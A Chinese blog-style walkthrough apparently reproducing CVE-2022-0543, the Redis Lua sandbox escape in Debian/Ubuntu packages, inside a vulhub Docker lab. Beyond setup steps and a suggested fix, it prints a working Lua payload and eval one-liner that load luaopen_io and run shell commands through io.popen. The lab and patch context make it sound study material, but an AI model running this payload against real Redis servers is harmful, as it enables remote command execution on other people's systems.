CVE-2022-0543(redis沙盒逃逸)详细漏洞复现

参考:vulhub/README.zh-cn.md at master · vulhub/vulhub · GitHub

Redis Lua沙盒绕过命令执行(CVE-2022-0543)

Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。

Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。

直接写复现全过程吧

我们通过vulhub来直接复现靶场。我系统用的是Ubunt

首先先换源(Ubuntu的源是国外的,速度很慢,我们可以换成国内的阿里源)

先做好备份:

sudo cp /etc/apt/sources.list /etc/apt/sources.list.bak

下来,修改源文件/etc/apt/sources.list,添加国内源

sudo vim /etc/apt/sources.list

阿里源:

deb http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-proposed main restricted universe multiverse
deb http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-security main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-updates main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-proposed main restricted universe multiverse
deb-src http://mirrors.aliyun.com/ubuntu/ xenial-backports main restricted universe multiverse

CVE-2022-0543(redis沙盒逃逸)详细漏洞复现_第1张图片

然后进行源更新

sudo apt-get update

接着安装Docker:

安装vim、curl

sudo apt install vim
sudo apt install curl

安装pip

curl -s https://bootstrap.pypa.io/get-pip.py | python3

#在安装pip这一步,可能会因为版本差异而有问题,我测试了两台机器,一台是正常安装,另外一台因为版本原因导致无法安装。 需要更新一下python

安装docker

curl -s https://get.docker.com/ | sh

然后安装docker-compose

pip install docker-compose

安装完后,我们可以通过命令docker-compose -v 来验证我们的docker-compose是否正确安装成功(此处查询的是版本号,有显示版本即成功)

获取vilhub:

首先要安装git

sudo apt install git

接着下载vulhub(此步骤耗时较长)

git clone https://github.com/vulhub/vulhub.git

安装完成后我们进入到对应目录:如:

cd vulhub/redis/CVE-2022-0543/

然后执行命令,进行靶场编译和运行

docker-compose build

docker-compose up -d

运行完docker-compose后,打开我们的redis就是我们的漏洞环境啦

redis-cli -h 127.0.0.1 -p 6379

 

我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令:

local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io");
local io = io_l();
local f = io.popen("id", "r");
local res = f:read("*a");
f:close();
return res

连接redis,使用eval命令执行上述脚本:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls /etc/", "r"); local res = f:read("*a"); f:close(); return res' 0

到这我们就可以执行命令了。

正式修复方案:Lua 初始化的末尾添加package=nil

临时修复方案:关闭服务

该漏洞影响的版本有ubuntu和debian,但是我看其他帖子说centos也存在该漏洞,但是我尝试复现时并未成功,日后有空在进行第二次尝试吧 。

周五快乐

 

你可能感兴趣的:(CVE漏洞复现,安全,web安全,系统安全)